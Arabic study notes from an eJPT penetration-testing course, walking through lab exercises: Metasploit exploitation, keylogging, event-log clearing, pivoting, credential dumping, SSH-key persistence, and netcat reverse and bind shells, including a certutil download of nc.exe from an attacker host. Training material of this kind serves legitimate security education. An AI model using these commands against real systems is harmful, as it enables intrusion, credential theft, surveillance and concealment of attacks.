نقراه 323 | ```bash 324 | shell 325 | cd / 326 | dir 327 | type flag.txt 328 | ``` 329 | 330 | طبعا راح نسوي ملف نصي عن طريق امر echo بلغة bash عشان نسوي الملف ونكتب داخله نص 331 | ```bash 332 | cd Users\\Administrator\\Desktop 333 | dir 334 | echo “You have been Hacked” > hacked.txt 335 | ``` 336 | 337 | الان طبعا نروح على التارقت مشين ونشوف المسار الي حطينا فيه الملف راح نحصل الملف موجود 338 | 339 | طبعا لو فتحته راح تحصل نفس النص الي كتبناه فوق 340 | 341 | طبعا الان كيف بنسوي scan للـ kay ? فيه موديول راح يساعدنا بهذا الشي 342 | 343 | طبعا اولا لابد ننتقل على بروسس معين بحيث يكون الاتصال مستقر 344 | ```bash 345 | ps -S explorer.exe 346 | migrate 2724 347 | ``` 348 | 349 | نشوف الان انه انتقلنا على بروسس اخر راح الان نجرب نستخدم امر الـ keyscan عشان يبدا يلقط لنا اي ضغطه على الكيبورد على جهاز الـ Target machine 350 | ```bash 351 | keyscan_start [to capture keystrokes] 352 | ``` 353 | 354 | نرجع الان لنفس الملف الي سويناه في سطح المكتب اسمه hacked.txt ونجرب نكتب فيه اي شي ونشوف هل بيجينا وش قاعد يكتب التارقت او لا طبعا بعد مانكتب اي شي نروح للـ meterpreter shell ونسوي dump للضغطات الي انضغطت في جهاز التارقت 355 | ```bash 356 | keyscan_dump [to dump the keylogger data] 357 | ``` 358 | 359 | ونشوف انه فعلا عطانا كلشي انضغط على الكيبورد في الـ target machine 360 | 361 | الى هنا انتهى اللاب ننتقل للي بعده 362 | 363 | --- 364 | 365 | راح نبداء باللاب السادس الي هو 366 | 367 | Clearing Windows Event Logs 368 | -----------------------------| 369 | 370 | طبعا في هذا اللاب راح نشوف طريقة كيف نحذف الـ Even Logs 371 | 372 | طبعا اي سيرفر راح يكون فيه Logs واللوق هذا راح يكون فيه كلشي صار طبعا يعني من يوم يدخل الاتاكر الى ان يطلع واشياء زياده كلشييي مسجل حرفيا 373 | 374 | طبعا راح ناخذ امر وفايدته زي ماذكرنا انه يحذف لنا كل الـ Event Logs عن طريق امر معين 375 | 376 | خلونا اول شي نستغل الجهاز وندخل على التارقت 377 | 378 | بالبداية بنفحص كالعادة 379 | ```bash 380 | nmap -sC -sV 10.2.27.188 381 | ``` 382 | 383 | طبعا شغال على بورت 80 شغال عليه خدمة BadBlue 2.7 ونعرف انه مصاب نستغله مباشرة 384 | ```bash 385 | msfconsole 386 | use exploit/windows/http/badblue_passthru 387 | set RHOSTS 10.2.27.188 388 | exploit 389 | ``` 390 | 391 | الان اخذنا الشيل الان كل الي علينا انه نكتب فقط هذا الامر الي موفرته لنا الـ meterpreter session 392 | ```bash 393 | clearev 394 | ``` 395 | 396 | ونشوف انه انحذف اللوقز طبعا لابد ماتسويها الا اذا مسموح لك كا pentester يعني 397 | 398 | نشوف الان اللاب الي بعده ومره مهم 399 | 400 | --- 401 | 402 | راح نبداء باللاب السابع الي هو 403 | 404 | Pivoting 405 | ---------| 406 | 407 | طبعا هنا راح نتكلم عن التمحور داخل الشبكة 408 | 409 | طبعا عندنا 2 تارقت 410 | 411 | طبعا توصل الاو ل تستغله وبعدها تفحص التارقت الثاني 412 | 413 | طبعا المفروض نفحص بالـ nmap ونشوف وش فيه التارقت 1 لكن بنختصر لانه مكرر ف بنستغل فورا 414 | ```bash 415 | msfconsole 416 | use exploit/windows/http/rejetto_hfs_exec 417 | set RHOSTS 10.0.23.180 418 | exploit 419 | ``` 420 | 421 | الان جانا الـ meterpreter shell 422 | 423 | الان الي نحتاجه انه نعرف ايش هو ايبي الشبكة كامل ونظيفه بالـ route table 424 | ```bash 425 | shell 426 | ipconfig 427 | ``` 428 | 429 | الان نشوف انه عطانا ايبي الشبكة كامل زمن النت ماسك بنعرف الـ CIDR 430 | ```bash 431 | if ip = 10.0.23.180 432 | netmask = 255.255.240.0 433 | the IP network = 10.0.23.0/20 434 | ``` 435 | 436 | والان نضيفه الى الـ route table عن طريق هذا الامر 437 | ```bash 438 | run autoroute -s 10.0.23.0/20 439 | ``` 440 | 441 | طبعا الان اضفناه الى الـ route table 442 | 443 | طبعا بنسوي portscan عشان نشوف ايش الايبي الـ up وايش البورتات الشغاله عليه 444 | 445 | نخلي السيشن في الخلفيه ونستخدم الموديول التالي 446 | ```bash 447 | background 448 | use auxiliary/scanner/portscan/tcp 449 | set RHOSTS 10.0.27.99 450 | set PORTS 1-100 451 | exploit 452 | ``` 453 | 454 | طبعا حصلنا ان بورت 80 شغال طبعا الان لابد نسوي شي اسمه port forward بحيث نقدر او يصير عندنا access على البورت 455 | 456 | طيب بنشوف الان كيف بنسويها بداية راح نرجع لسيشن حقتنا 457 | ```bash 458 | sessions -i 1 459 | portfwd add -l 1234 -p 80 -r 10.0.27.99 [-l $attacker_port -p $target_port -r $ip_target] 460 | portfwd list [to check Active Port forwards] 461 | ``` 462 | 463 | طبعا الان نشوف انه باللوكال بورت 1234 راح يودينا عليه 10.0.27.99 بالتحديد بورت 80 464 | 465 | راح نجرب نفحص الان البورت على الـ local 466 | ```bash 467 | nmap -sV -sS -p 1234 localhost 468 | ``` 469 | 470 | نشوف الان انه الان بورت 1234 على جهازنا شغال عليه BadBlue لكن بالواقع هو مش بورت 1234 ولا هو حقنا بس عكسنا البورت بحيث انه الان الايبي 10.0.27.99 بالتحديد بورت 80 شغال عليه BadBlue 2.7 وحنا نعرف انه مصاب وله استغلال راح نستغله طبيعي الان 471 | ```bash 472 | msfconsole 473 | use exploit/windows/http/badblue_passthru 474 | set PAYLOAD windows/meterpreter/bind_tcp 475 | set RHOSTS 10.0.27.99 476 | exploit 477 | ``` 478 | 479 | طبعا لابد يكون الـ payload bind_tcp والفرق بين البايند والريفيرس 480 | 481 | البايند = حنا نتصل بالتارقت 482 | الريفيرس = التارقت يتصل فينا 483 | 484 | 485 | والان نشوف انه تم الاستغلال المطلوب مننا فقط نقرا الفلاق 486 | ```bash 487 | shell 488 | cd / 489 | dir 490 | type flag.txt 491 | ``` 492 | 493 | الى هنا انتهى اللاب نشوف الي بعده 494 | 495 | --- 496 | 497 | راح نبداء باللاب الثامن الي هو 498 | 499 | Linux: Post Exploitation Lab I 500 | ------------------------------| 501 | 502 | طبعا في هذا اللاب راح نتكلم عن ايش ممكن تسوي بعد ماتستغل المشين بالتحديد اذا كانت لينكس مشين 503 | 504 | راح نشوف بعض الموديول الي راح تساعدنا او تخدمنا في هذا 505 | 506 | طبعا فيه اداة اسمها linpeas تسوي لك كلشي حرفيا بامر واحد ف مايحتاج تستخدم موديولز كثيره 507 | 508 | لكن الان بنتبع الطريقه المشروحه وهي metasploit modules 509 | 510 | راح نفحص التارقت اول طبعا يانفحص كامل الشبكة او ناخذ اخر ديجت ونزود 1 كاختصار 511 | ```bash 512 | nmap -sS -sV -p- 192.162.5.3 513 | ``` 514 | 515 | طبعا نعرف ان الـ samba هنا مصاب ف نستغل مباشرة لانه متكرر 516 | ```bash 517 | msfconsole 518 | use exploit/linux/samba/is_known_pipename 519 | set RHOST 192.162.5.3 520 | check 521 | exploit 522 | ``` 523 | 524 | طبعا الان اخذنا الشيل الان راح نبدا نستخدم الموديولز الي بتساعدنا بجمع المعلومات عن التارقت مشين 525 | 526 | اول شي نخلي السيشن بالخلفيه 527 | ```bash 528 | bg or background or press [CTRL + Z] 529 | ``` 530 | 531 | اول موديول راح ناخذه الي هو 532 | ```bash 533 | use post/linux/gather/enum_configs 534 | set SESSION 1 535 | run 536 | ``` 537 | 538 | طبعا نشوف انه عطانا معلةمات مثل انه Debian GNU/Linux 8 ومعلومات ثانيه ممكن تفيدنا كثير بتصعيد الصلاحيات 539 | 540 | نشوف الموديول الثاني 541 | ```bash 542 | use post/linux/gather/checkcontainer 543 | set SESSION 1 544 | run 545 | ``` 546 | 547 | طبعا هذا الموديول بيعلمك اذا كنت داخل doker او لا ونشوف انه قالنا انه فعلا حنا داخل doker 548 | 549 | طبعا باقي الموديول نفس الطريقة راح اترك لكم ليسته تجربونها لحالكم 550 | 551 | ```bash 552 | post/linux/gather/enum_configs 553 | post/multi/gather/env 554 | post/linux/gather/enum_network 555 | post/linux/gather/enum_protections 556 | post/linux/gather/enum_system 557 | post/linux/gather/checkcontainer 558 | post/linux/gather/checkvm 559 | post/linux/gather/enum_users_history 560 | post/multi/manage/system_session 561 | post/linux/manage/download_exec 562 | ``` 563 | 564 | الى هنا انتهى اللاب نشوف الي بعدها 565 | 566 | --- 567 | 568 | راح نبداء باللاب الثامن الي هو 569 | 570 | Privilege Escalation - Rootkit Scanner 571 | ---------------------------------------| 572 | 573 | طبعا في هذا اللاب معنا يوزر وباسورد وقال سجل عن طريق الـ SSH ف فورا راح نسويها مايحتاج نفحص 574 | 575 | التارقت طبعا يانفحص كامل الشبكة او ناخذ اخر ديجت ونزود 1 كاختصار 576 | 577 | ```bash 578 | SSH Login Credentials: 579 | 580 | | Username: jackie |Passowrd: password | 581 | ``` 582 | 583 | طبعا راح نشبك الـ SSH عن طريق الـ metasploit 584 | ```bash 585 | use auxiliary/scanner/ssh/ssh_login 586 | set RHOSTS 192.14.195.3 587 | set USERNAME jackie 588 | set PASSWORD password 589 | exploit 590 | ``` 591 | 592 | طبعا الان بنشبك على الـ session الي سواها لنا 593 | ```bash 594 | sessions -i 1 595 | ``` 596 | 597 | الان بنفذ امر الي هو 598 | ```bash 599 | ps aux 600 | ``` 601 | طبعا وظيفة هذا الامر يعرض لك البروسس الي شغاله حاليا ويعطيك عنها تفاصيل كثيره 602 | 603 | نشوف انه شغال cron job الي هي check-down ف خلونا نشوف وش داخلها 604 | ```bash 605 | cat /bin/check-down 606 | ``` 607 | 608 | طبعا الان نشوف انه يشغل شي اسمه chkrootkit ويحط المخرجات في /dev/null كل 60 ثانيه 609 | 610 | ف انت تروح تبحث ايش هو ال chkrootkit وراح تعرف اصداره عن طريق هذا الامر 611 | ```bash 612 | /bin/chkrootkit -v 613 | ``` 614 | 615 | ونشوف انه اصداره 0.49 راح نبحث وبنحصل له اكسبلويت سواء في google , searchsploit etc... 616 | 617 | راح نستغله عن طريق الـ metasploit 618 | ```bash 619 | use exploit/unix/local/chkrootkit 620 | set CHKROOTKIT /bin/chkrootkit 621 | set session 1 622 | set LHOST 192.14.195.2 623 | exploit 624 | ``` 625 | 626 | الان استغليناه وكلشي تمام وصار معنا اعلى صلاحيات في اللينكس والي هي الـ root privileges 627 | مطلوب مننا نقرا الفلاق 628 | ```bash 629 | cat /root/flag 630 | ``` 631 | 632 | وبكذا اخذنا الفلاق وانتهى اللاب 633 | 634 | بكرا باذن الله باقي لنا لابين في هذا القسم وراح ندخل قسم جديد 635 | 636 | --- 637 | 638 | ## Follow us on: 639 | Twitter: [s4cript](https://twitter.com/s4cript) , [cyberhub](https://twitter.com/cyberhub) , [0xNawaF1](https://twitter.com/0xNawaF1) -------------------------------------------------------------------------------- /network-PT-cyberhub-8.md: -------------------------------------------------------------------------------- 1 | # Session 8 (ejpt) - Day 8 2 | ## Host & Network Penetration Testing: The Metasploit Framework (MSF) part2 3 | 4 | السلام عليكم ورحمة الله وبركاته 5 | 6 | اليوم باذن الله راح نحل اخر لابين في هذا الجزء وراح ندخل على جزء جديد باذن الله 7 | 8 | --- 9 | 10 | راح نبداء باللاب الاول الي هو 11 | 12 | Linux: Post Exploitation Lab II 13 | -------------------------------| 14 | 15 | طبعا في هذا اللاب راح نشوف بعض الموديولز الي ممكن نشغلها بعد اختراق التارقت 16 | 17 | ف راح نشوف بعض الموديولز او اهمها بالاصح ونترك الباقي لكم للي حاب يجربها 18 | ```bash 19 | All Modules of Post Exploitation For Linux 20 | 21 | post/multi/gather/ssh_creds 22 | post/multi/gather/docker_creds 23 | post/linux/gather/hashdump 24 | post/linux/gather/ecryptfs_creds 25 | post/linux/gather/enum_psk 26 | post/linux/gather/enum_xchat 27 | post/linux/gather/phpmyadmin_credsteal 28 | post/linux/gather/pptpd_chap_secrets 29 | post/linux/manage/sshkey_persistence 30 | ``` 31 | 32 | طبعا بالبداية راح نفحص التارقت وطبعا بما انه ماعطانا ايبي التارقت عندنا خيارين يا نفحص كامل الشبكة او نزيد على اخر ديجت 1 33 | 34 | حنا راح نستخدم الطريقة الثانيه بما انه اسرع 35 | ```bash 36 | nmap -sV -sC 192.91.98.3 37 | ``` 38 | 39 | ونشوف انه مقتوح بورت samba 4.1.17وهذا غالبا مصاب بثغرة ولها موديول على الميتاسبلويت خلونا نستغل مباشرة بما انه مكرر 40 | ```bash 41 | use exploit/linux/samba/is_known_pipename 42 | set RHOST 192.91.98.3 43 | check 44 | exploit -z [to exploited and put the session on background] 45 | ``` 46 | 47 | والان استغلينا الخدمة وصار معنا سيشن رقمها 1 راح نبدا الان نستخدم بعض الموديولز المميزه والي تفيدنا كثير في هذي النقطه 48 | 49 | خلونا نجرب الان اول موديول معنا 50 | ```bash 51 | use post/multi/gather/ssh_creds 52 | set SESSION 1 53 | run 54 | ``` 55 | 56 | طبعا هذا الموديول وظيفته يجيب لك مفاتيح ال SSH مثل /root/.ssh/authorized_keys , /root/.ssh/id_rsa , /root/.ssh/id_rsa.pub etc... 57 | 58 | 59 | نشوف الموديول الثاني 60 | ```bash 61 | use post/multi/gather/docker_creds 62 | set SESSION 1 63 | run 64 | ``` 65 | 66 | هذا الموديول الان يفيدنا بانه يعطينا الـ username & password تبع الـ Docker لو كان موجود 67 | 68 | نشوف ثالث موديول 69 | ```bash 70 | use post/linux/gather/hashdump 71 | set SESSION 1 72 | set VERBOSE true 73 | run 74 | ``` 75 | 76 | هذا الموديول طبعا يفيدنا بانه يجيب لنا جميع الهاشات حقت النظام مثل ملفات passwd , shadow 77 | 78 | نشوف الموديول الرابع 79 | ```bash 80 | use post/linux/manage/sshkey_persistence 81 | set SESSION 1 82 | run 83 | ``` 84 | 85 | طبعا هذا اللاب يسوي لنا private key للـ SSH بعد مايشيك على صلاحياته ويضيفه داخل التارقت ويعطينا اياه ونكون نقدر نتصل بالتارقت متى ماحبينا عن طريق الـ SSH باستخدام private key وهذي قد مرت علينا او قد اخذنا تكنيك مسبق وهذا احد تكنيكات الـ Persistence 86 | 87 | طبعا راح يستبدل لنا المفتاح الموجود داخل ملف authorized_kays 88 | 89 | 90 | الى هنا انتهى اللاب نشوف الي بعده 91 | 92 | --- 93 | 94 | راح نبداء باللاب الثاني الي هو 95 | 96 | Establishing Persistence On Linux 97 | ----------------------------------| 98 | 99 | طبعا في هذا اللاب راح نشوف تكنيك Persistence On Linux 100 | 101 | طبعا قد سوينا قبل استغلال لرفع الصلاحيات عن طريق chkrootkit لكن هالمره الهدف انه نسوي Persistence مو انه نرفع صلاحياتنا 102 | 103 | طبعا بالبداية راح نفحص التارقت وطبعا بما انه ماعطانا ايبي التارقت عندنا خيارين يا نفحص كامل الشبكة او نزيد على اخر ديجت 1 104 | 105 | حنا راح نستخدم الطريقة الثانيه بما انه اسرع 106 | ```bash 107 | nmap -sV -sC 192.182.80.3 108 | ``` 109 | 110 | حصلنا الـ SSH مفتوح طبعا راح نسجل دخول هو معطينا اليوزر والباسورد في اللاب 111 | 112 | ```bash 113 | msfconsole 114 | use auxiliary/scanner/ssh/ssh_login 115 | set RHOSTS 192.182.80.3 116 | set USERNAME jackie 117 | set PASSWORD password 118 | run 119 | ``` 120 | 121 | طبعا لان قال انه ناجح وانه قدر يدخل وكذالك فتح لنا session راح نجرب ندخل عليه 122 | ```bash 123 | sessions -u 1 [to elevate your session from shell to meterpreter session] 124 | ``` 125 | 126 | طبعا الان اخذنا meterpreter session راح الان نشوف موديول الـ chkrootkit 127 | 128 | طبعا لابد ندخل عشان نعرف المسار لكن بنختصر ونفتح الموديول ونكتب المسار علطول لاننا نعرفه 129 | ```bash 130 | use exploit/unix/local/chkrootkit 131 | set SESSION 2 [select the meterpreter session ID] 132 | set CHKROOTKIT /bin/chkrootkit 133 | run 134 | ``` 135 | 136 | طبعا الان عطنا الـ session 3 والي هي عن طريق الـ chkrootkit 137 | راح نحاول نرفعها الى meterpreter session 138 | ```bash 139 | sessions -u 3 140 | ``` 141 | 142 | طبعا الان قدرنا نرقيها الى الـ meterpreter session 143 | الان راح نستخدم الـ sshkey_persistence 144 | 145 | ```bash 146 | use post/linux/manage/sshkey_persistence 147 | set SESSION 4 148 | set CREATESSHFOLDER true 149 | exploit 150 | ``` 151 | 152 | ونشوف انه اضاف لنا بعض المفاتيح لاكثر من يوزر طبعا نكتب هذا الامر عشان نشوف وين حفظ لنا هذي المفاتيح 153 | 154 | ```bash 155 | loot 156 | ``` 157 | 158 | نشوف انه عطانا وين حفظهم لنا ونوعهم id_rsa وغيرها من المعلومات ف نقدر نسوي cat الان ونقرا الـ private key بدون مشاكل 159 | 160 | الان نجرب نفتح تاب جديده ونتصل عن طريق الـ SSH باستخدام الـ private key الي سواها لنا الموديول 161 | 162 | طبعا او شي لازم نغير صلاحيات الملف الي فيه المفتاح 163 | ```bash 164 | chmod 0400 ssh_kay 165 | ``` 166 | 167 | بعدها ننفذ الامر هذا بحيث نتصل على التارقت عن طريق الـ SSH باستخدام الـ private kay او بالاصح authorized_kays 168 | ```bash 169 | ssh -i ssh_key root@192.182.80.3 170 | ``` 171 | 172 | الى هنا انتهى القسم كامل الحمدلله وندخل قسم جديد 173 | طبعا اتفقنا انه راح نترك جزئية Armitage لضيق الوقت ولانه بالضبط نفس الـ MSFconsole لكن لها واجهة رسومية (GUI) ف بنسكبها وندخل قسم جديد وهو قسم الاستغلال 174 | 175 | --- 176 | 177 | ## Host & Network Penetration Testing: Exploitation 178 | 179 | هذا القسم الجديد خاص بالاستغلال او مركز على الاستغلال وتكنيكات الاستغلال 180 | 181 | --- 182 | 183 | اول لاب في هذا القسم راح يكون 184 | 185 | Netcat Fundamentals 186 | -------------------| 187 | 188 | طبعا راح نشوف اليوم اداة اسمها netcat وراح نستعرض بعض استخداماتها 189 | طبعا هذي الاداة لها استخدامات كثير لكن اهمها وهو انه تخليها listener ف عندنا reverse shell , baind shell وراح نشرح الفرق بينهم 190 | 191 | اول شي طبعا معطينا 2 مشين 192 | الاول حق الـ Attacker والثاني حق الـ Target 193 | 194 | طبعا اول شي ندخل مشين الاتاكر ونشوف انه معطينا ايبي التارقت 195 | 196 | اول شي راح نشوف الاوامر الخاصة بهذي الاداة عن طريق هذا الامر 197 | ```bash 198 | nc --help 199 | ``` 200 | 201 | 202 | طبعا لو حاولنا نتصل على مثلا جهازنا بالتحديد بورت 80 203 | ```bash 204 | nc 10.10.28.3 80 205 | ``` 206 | 207 | طبعا راح يرفض الاتصال لانه بورت 80 على الايبي تبعنا مقفل , راح نجرب نتصل بالتارقت عن طريق مثلا بورت 80 208 | ```bash 209 | nc 10.6.29.169 80 210 | ``` 211 | 212 | نشوف انه فعلا اتصل طبعا له اوامر معينه عشان تقدر تتعامل مع بورت 80 مثل الهيدر وبعض الاوامر الاخرى 213 | 214 | طيب خلونا نفحص التارقت نشوف ايش البورتات المفتوحه 215 | ```bash 216 | nmap -sV -sC 10.6.29.169 217 | ``` 218 | نشوف انه عطانا عدد من البورتات المفتوحه طبعا اي اتصال على بورت مقفل راح يرفض 219 | 220 | طيب خلونا الان نستفيد من انه معنا اكسس على التارقت مشين وننقل لها باينري حق الاداة بس بالاول نفتح python server عشان ننقل الملف الى الاتاكر 221 | 222 | خلونا اول شي نروح لماسار الباينري ونفتح السيرفر هناك 223 | ```bash 224 | cd /usr/share/windows-binaries 225 | ``` 226 | 227 | 228 | عشان نفتح بايثون سيرفر 229 | ```bash 230 | python -m SimpleHTTPServer 80 231 | ``` 232 | 233 | والان نتوجه لمشين التارقت عشان نحمل الباينري او حقنا من جهاز الاتاكر طبعا فيه اداة خاصة بالويندوز نفسل اداة wget في لينكس 234 | ```bash 235 | certutil -urlcache -f http://10.10.28.3/nc.exe nc.exe 236 | ``` 237 | 238 | طبعا الان انتقلت الاداة تمام طيب خولنا نفتح بورت من جهاز الاتاكر عشان يتصل علينا التارقت 239 | 240 | Attacker machine 241 | ```bash 242 | nc -nvlp 1234 243 | ``` 244 | 245 | ونروح الان لمشين التارقت عشان نجرب نتصل على جهاز الاتاكر بنفس البورت الي فتحناه 246 | ```bash 247 | .\nc.exe 10.10.28.3 1234 248 | ``` 249 | 250 | نشوف انه الان عطانا الاتصال نرجع لجهاز الاتاكر ونجرب نكتب اي شي بالتيرمنال ونضغط انتر ونشوف انه ماعطانا اي نتيجة ليه هل هذا يعني مافي اتصال ؟ اكيد لا الاتصال موجود والدليل على هذا نرجع لجهاز التارقت ونشوف البورشيل فيها اي شي كتبناه في التيرمنال الي بجهاز الاتاكر 251 | 252 | وهذا يسمى reverse shell 253 | 254 | وهذا يعني ان الاتصال موجود لكن مابعد تعاملنا مع الـ cmd من جهاز الاتاكر الى جهاز التارقت 255 | 256 | ف الان راح نشوف طرق اخرى مع بعض وكيف ممكن تاخذ الشيل وتقدر تنفذ اوامر على جهاز التارقت 257 | 258 | طيب خلونا ننفذ هذا الامر في جهاز الاتاكر 259 | ```bash 260 | echo "Hello, this was sent over with Netcat" >> test.txt 261 | ``` 262 | 263 | هذا الامر طبعا نقوله اطبع لنا مابين علامتين التنصيص واضفه داخل ملف test.txt نشوف انه سوا لنا ملف بنفس الاسم ونفس المحتوى 264 | 265 | طيب خلونا الان خلونا نفتح بروت 1234 في جهاز التارقت 266 | ```bash 267 | .\nc.exe -nvlp 1234 > test.txt 268 | ``` 269 | 270 | نشوف انه فتح تمام وحنا قلنا له انه افتح هذا البورت واي شي يجي من هذا البورت اضفه في ملف test.txt نلاحظ انه مافي اي ملف اسمه test.txt على جهاز التارقت فقط على جهاز الاتاكر 271 | 272 | الان راح نرسل الملف الي سويناه في جهاز الاتاكر الى جهاز التارقت عن طريق البورت الي مفتوح على جهاز التارقت 273 | ```bash 274 | nc -nv 10.4.20.244 1234 < test.txt 275 | ``` 276 | 277 | وهنا قلنا له اتصل بالجهاز الي الايبي تبعه 10.4.20.244 وارسله ملف test.txt ف اول مايتم الاتصال وينجح راح يرسله الملف فورا الى جهاز التارقت 278 | 279 | ف الان نرجع ونشوف جهاز التارقت نحصل انه فعلا صار عنده ملف اسمه test.txt بنفس المحتوى الملف الي موجود على جهاز الاتاكر 280 | 281 | وهذا يطلق عليه bind Shell 282 | 283 | وفيه اكثر من هذي الخصائص او الفوائد الي ممكن تحصلها من الاداة لكن حنا هنا وضحنا ابرزها او اهمها ان صح التعبير 284 | 285 | الى هنا انتهى اللاب نشوف الي بعده 286 | 287 | --- 288 | 289 | اللاب الثاني في هذا القسم هو 290 | 291 | Bind Shells 292 | ------------| 293 | 294 | طبعا هذا اللاب مقارب لسابق لكن بطريقة اخرى وهي انه بنفذ اوامر عن طريقها بالـ cmd 295 | 296 | اول شي راح نسوي نفس كلشي سابق نفتح بايثون سيرفر وننقل باينري nc.exe الى التارقت مشين 297 | 298 | خلونا اول شي نروح لماسار الباينري ونفتح السيرفر هناك 299 | ```bash 300 | cd /usr/share/windows-binaries 301 | ``` 302 | 303 | عشان نفتح بايثون سيرفر 304 | ```bash 305 | python -m SimpleHTTPServer 80 306 | ``` 307 | 308 | والان نتوجه لمشين التارقت عشان نحمل الباينري او حقنا من جهاز الاتاكر طبعا فيه اداة خاصة بالويندوز نفسل اداة wget في لينكس 309 | ```bash 310 | certutil -urlcache -f http://10.10.3.2/nc.exe nc.exe 311 | ``` 312 | 313 | 314 | خلونا اول شي ننتقل الى مسار الي فيه الـ cmd.exe وننقل البانري الي نفس المسار 315 | ```bash 316 | cd C:\Users\Administrator\Downloads 317 | ``` 318 | 319 | طيب الان نفتح بورت من التارقت مشين ونقوله اذا صار الاتصال شغلي الـ cmd.exe 320 | 321 | خلونا نشوف كيف بيكون الامر 322 | ```bash 323 | ./nc.exe -nvlp 1234 -e cmd.exe 324 | ``` 325 | 326 | -e فقط عشان يشغل لنا الملف الي بنحطه مثل الامر الي فوق قلنا له شغلنا cmd.exe اذا صار فيه الاتصال 327 | 328 | 329 | الان نحاول نتصل من جهاز الاتاكر على جهاز التارقت 330 | ```bash 331 | nc -nv 10.4.21.221 1234 332 | ``` 333 | 334 | ونشوف انه فعلا جا الاتصال لنا وهذا هو يسمى الـ bind shell 335 | 336 | في حال انفتح البورت على التارقت وحنا اتصلنا يعتبر bind shell 337 | في حال انفتح البورت على جهاز الاتاكر والاتصال كان من التارقت يعتبر reverse shell 338 | 339 | الى هنا انتهى اللاب نشوف الي بعده 340 | 341 | --- 342 | 343 | اللاب الثالث في هذا القسم هو 344 | 345 | Windows: Workflow Platform 346 | --------------------------| 347 | 348 | طبعا في هذا اللاب راح نستغل برنامج معين اسمه processmaker 349 | 350 | طبعا نشوف انه معطينا التارقت راح نفحصه بداية 351 | ```bash 352 | nmap -sV -sC -vvv -p- 10.0.0.168 353 | ``` 354 | 355 | طبعا الي يهمنا منها بورت 80 خلونا ندخل على المتصفح ونفتح الايبي 356 | 357 | نشوف انه عطانا صفحة login طبعا حنا مامعنا لايوزر ولا باسورد راح نبحث نشوف بقوقل هل فيه ديفولت يوزر وباسورد ولا لا 358 | 359 | ف يوم بحثنا بقوقل بالنص هذا 360 | ```bash 361 | processmaker default credentials 362 | ``` 363 | 364 | قالنا انه اليوزر والباسورد الديفولت هي 365 | ```bash 366 | username: admin 367 | password: admin 368 | ``` 369 | 370 | نشوف انه سجل لوقن طبعا خلونا نشوف وش اصدار الخدمة هذي 371 | 372 | نلاحظ يسار تحت فيه خيار system information 373 | 374 | ندخله ونشوف انه كاتب لنا اصدار النسخه من هذا البرنامج والاصدار هو 2.5.0 خلونا نبحث عن استغلال في قوقل 375 | ```bash 376 | processmaker 2.5.0 exploi 377 | ``` 378 | 379 | ونشوف انه عطانا استغلال معين والي هو هذا 380 | [exploit](https://www.exploit-db.com/exploits/29325) 381 | 382 | طبعا هذا الاستغلال زي ماهو واضح من موقع الـ exploitdb نشوف انه موجود له موديول على الـ metasploit 383 | 384 | خلونا نستغله الان 385 | ```bash 386 | use exploit/multi/http/processmaker_exec 387 | set RHOSTS 10.0.0.168 388 | exploit 389 | ``` 390 | 391 | ونشوف انه عطانا meterpreter session 392 | 393 | مطلوب مننا نقرا الفلاق ف ندور عليه ونحصله في اول مسار وهو الـ / 394 | ```bash 395 | cd / 396 | dir 397 | cat flag.txt 398 | ``` 399 | 400 | الى هنا انتهى اللاب نشوف الي بعده 401 | 402 | --- 403 | 404 | This labs only read because its repeated 405 | -----------------------------------------| 406 | 407 | 1. Port Scanning & Enumeration - Windows 408 | 2. Targeting Microsoft IIS FTP 409 | 3. Targeting OpenSSH 410 | 4. Targeting SMB 411 | 5. Targeting MySQL Database Server 412 | 6. Port Scanning & Enumeration - Linux 413 | 7. Targeting vsFTPd 414 | 8. Targeting PHP (focus on PHP5.2.4-2 maybe get this lab in the CTF) 415 | 9. Targeting SAMBA 416 | [هنا طبعا دخلنا قسم جديد] 417 | [Host & Network Penetration Testing: Post-Exploitation] 418 | 10. Enumerating System Information 419 | (طبعا هنا اخذنا معلومه انه في حال ماكنت تعرف الـ Architecture تبع النظام وتبي تستغله بتخلي البايلورد 32بت لانه راح يشتغل بكل الحالات سواء كان الجهاز 32بت او 64بت لكن لو خليت البايلود 64بت وكان الجهاز 32بت ماراح يشتغل ففي حال ماكنت تعرف الـ Architecture تختار دائما الـ 32بت لانه بيشتغل في كل الحالات) 420 | 11. Enumerating Users & Groups 421 | 12. Enumerating Network Information 422 | 13. Enumerating Processes & Services 423 | 424 | --- 425 | 426 | الى هنا انتهت المحاضره طبعا الـ 13 لاب قريناها فقط لانها متكرره وبسيطه ونفس الخطوات كلها ف اعذروني على التقصير لكن هذا الي مشينا فيه بالدورة حرفيا 427 | 428 | 429 | باذن الله نشوفكم بكرا باخر يوم لكورس الـ PTS ;) 430 | 431 | --- 432 | 433 | ## Follow us on: 434 | Twitter: 435 | [s4cript](https://twitter.com/s4cript) 436 | [cyberhub](https://twitter.com/cyberhub) 437 | [0xNawaF1](https://twitter.com/0xNawaF1) 438 | -------------------------------------------------------------------------------- /network-PT-cyberhub-9.md: -------------------------------------------------------------------------------- 1 | # Session 9 (ejpt) - Day 9 2 | ## Host & Network Penetration Testing: Post-Exploitation 3 | 4 | 5 | السلام عليكم ورحمة الله وبركاته اليوم طبعا هو اخر يوم لكورس PTS غطينا تقريبا 90-95% من الكورس 6 | 7 | طبعا باذن الله راح نبدا من الي وقفنا عليه امس 8 | 9 | --- 10 | 11 | اللاب الاول الي معنا اليوم هو 12 | 13 | Automating Windows Local Enumeration 14 | -------------------------------------| 15 | 16 | 17 | طبعا زي مانشوف الان معطينا التارقت راح نفحصه بالـ nmap 18 | ```bash 19 | nmap -sV -sC 10.2.21.181 20 | ``` 21 | 22 | طبعا نشوف انه بورت 5985 مفتوح وهذا البورت عليه winrm service 23 | 24 | طبعا راح نستغله فورا 25 | ```bash 26 | msfconsole 27 | use exploit/windows/winrm/winrm_script_exec 28 | set RHOSTS 10.2.21.181 29 | set USERNAME administrator 30 | set PASSWORD tinkerbell 31 | set FORCE_VBS true 32 | exploit 33 | ``` 34 | 35 | طبعا المفروض نسوي بروت فورس عشان اليوزر والباسورد لكن اختصارنا واستغليناه فورا 36 | 37 | زي مانشوف عطانا meterpreter session 38 | 39 | نخلي السيشن في الخلفيه 40 | ```bash 41 | background 42 | ``` 43 | 44 | طبعا راح نسوي enum على النظام كامل الان قد استخدمنا قبل نفسها لكن هذي تختلف الموديول وفيه شي بالنهاية مفيد 45 | 46 | نشوف اول موديول 47 | ```bash 48 | use post/windows/gather/win_privs 49 | set SESSION 1 50 | run 51 | ``` 52 | 53 | نشوف انه عطانا الصلاحيات الي عندنا 54 | 55 | نشوف ثاني موديول 56 | ```bash 57 | use post/windows/gather/enum_logged_on_users 58 